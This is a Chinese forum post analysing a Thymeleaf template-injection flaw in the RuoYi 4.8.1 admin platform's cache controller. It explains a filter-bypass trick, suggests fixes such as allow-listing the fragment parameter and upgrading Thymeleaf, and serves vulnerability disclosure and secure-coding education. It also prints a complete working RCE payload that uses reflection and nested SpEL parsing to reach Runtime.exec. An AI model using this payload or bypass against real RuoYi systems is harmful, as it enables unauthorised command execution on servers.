找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

937

积分

0

好友

120

主题
发表于 3 天前 | 查看: 7| 回复: 0

若依(RuoYi)是一套基于 Spring Boot + Shiro + Thymeleaf 的快速开发平台,广泛应用于企业后台管理系统。在版本4.8.1中,存在一个严重的Thymeleaf模板注入(SSTI)漏洞。

该漏洞位于 CacheController.java 控制器的 /monitor/cache/getNames 接口。攻击者可通过构造特定的 fragment 参数,绕过Thymeleaf 3.0.15版本的安全机制,实现任意代码执行(RCE)。

1. 漏洞描述与复现

漏洞的根源在于 fragment 参数未对用户输入进行充分过滤。尽管系统增加了黑名单拦截危险操作,但攻击者可通过 __|$${...}|__::.x 格式成功绕过。

核心漏洞代码如下:

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

攻击者可控的 fragment 参数被直接拼接进视图路径。当返回的字符串不包含 redirect:forward: 前缀时,Spring会将其作为Thymeleaf模板文件名进行解析,而此处 fragment 实际是一段可执行的Thymeleaf表达式。

RCE验证Payload(需登录认证)

fragment=__|$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx

执行上述Payload(在Windows环境下)可触发计算器弹出,证明漏洞存在。

RCE验证成功截图

2. 代码审计与绕过原理

若要深入理解漏洞,需分析Payload的构造逻辑及Thymeleaf 3.0.15的防护机制。

首先,访问该接口需要 monitor:cache:view 权限,因此攻击需在认证后进行。关键的输入点是 fragment 参数。

Thymeleaf 3.0.15 版本引入了 containsExpression 方法用于检测危险表达式,其核心逻辑如下:

private static boolean containsExpression(final String text) {
    final int textLen = text.length();
    char c;
    boolean expInit = false;
    for (int i = 0; i < textLen; i++) {
        c = text.charAt(i);
        if (!expInit) {
            // 检测表达式起始字符 $, *, #, @, ~
            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
                expInit = true;
            }
        } else {
            // 如果起始字符后紧接 `{`,则判定为表达式
            if (c == '{') {
                return true;
            } else if (!Character.isWhitespace(c)) {
                // 如果不是空格,则重置检测状态
                expInit = false;
            }
        }
    }
    return false;
}

该方法用于检查字符串中是否包含 ${, *{, #{, @{, ~{ 这类表达式模式(中间允许空格)。其检测逻辑存在缺陷:当检测到一个起始字符(如$)后,它只判断下一个字符是否为 {;如果不是 { 但为空格,则继续检查下一个字符;如果不是 { 也不是空格,则直接重置检测状态,跳过了对当前字符是否也是起始字符的判断。

这导致了形如 $${} 的Payload可以绕过检测。第一个 $ 被标记为 expInit,下一个字符仍是 $,由于不是 { 也不是空格,检测状态被重置,第二个 $ 及其后的 {} 便不再被该方法识别为表达式。

然而,Thymeleaf在后续的表达式解析中,会将 __|$${...}|__ 这种形式解析为表达式执行。这等价于 __$` + `${...}__,即文字替换。这便是绕过检测的基础。

在新版本中,SpringStandardExpressionUtilscontainsSpELInstantiationOrStatic 方法替换为 containsSpELInstantiationOrStaticOrParam,并加强了对 T()newparam 等关键字的检查,试图阻止直接的SPEL实例化或静态方法调用。

我们的最终Payload采用了一种反射+嵌套SPEL解析的方式进行绕过:

  1. 外层$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser')... }
    • 利用字符串拼接 (org. + springframework...) 和反射机制,动态加载 SpelExpressionParser 类,避免了直接书写类名。
  2. 内层.parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')")
    • 实例化解析器后,在其内部解析一个全新的、完整的恶意SPEL表达式,该表达式通过反射调用 Runtime.getRuntime().exec() 执行系统命令。

这种“通过SPEL解析器去解析并执行另一段SPEL”的方式,巧妙地绕过了Thymeleaf对表达式内容的直接安全校验,属于一种沙箱逃逸思路。

3. 总结与修复建议

本次漏洞是典型的二阶安全漏洞组合:首先,Thymeleaf模板引擎自身的安全绕过机制(CVE-2024-21657)为攻击提供了可能性;其次,若依系统在 CacheController 中直接将用户可控参数拼接入模板路径,未做任何过滤,构成了真实的利用入口。

修复建议

  1. 输入校验与过滤:对传入 fragment 等视图片段名的参数进行严格的白名单校验,只允许预期的、安全的字符(如字母、数字、短横线、下划线)。
  2. 升级依赖:及时升级Thymeleaf至已修复该安全绕过问题的最新版本。
  3. 安全编码:避免将用户输入直接用于构建视图名称、模板路径或任何与模板解析相关的字符串。

参考链接


免责声明:本文所有内容均为技术研究与学习目的,旨在提升网络安全防护意识。所有操作均在授权的实验环境中进行。请广大开发者遵守《网络安全法》等相关法律法规,不得将相关技术用于非法入侵、破坏等任何危害网络安全的活动。




上一篇:Cursor年度报告解析:14亿Token仅排名Top 25%,模型使用数据分析
下一篇:Swift Android官方支持来临:移动开发跨端共享逻辑的新选择与影响
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 18:59 , Processed in 0.235970 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表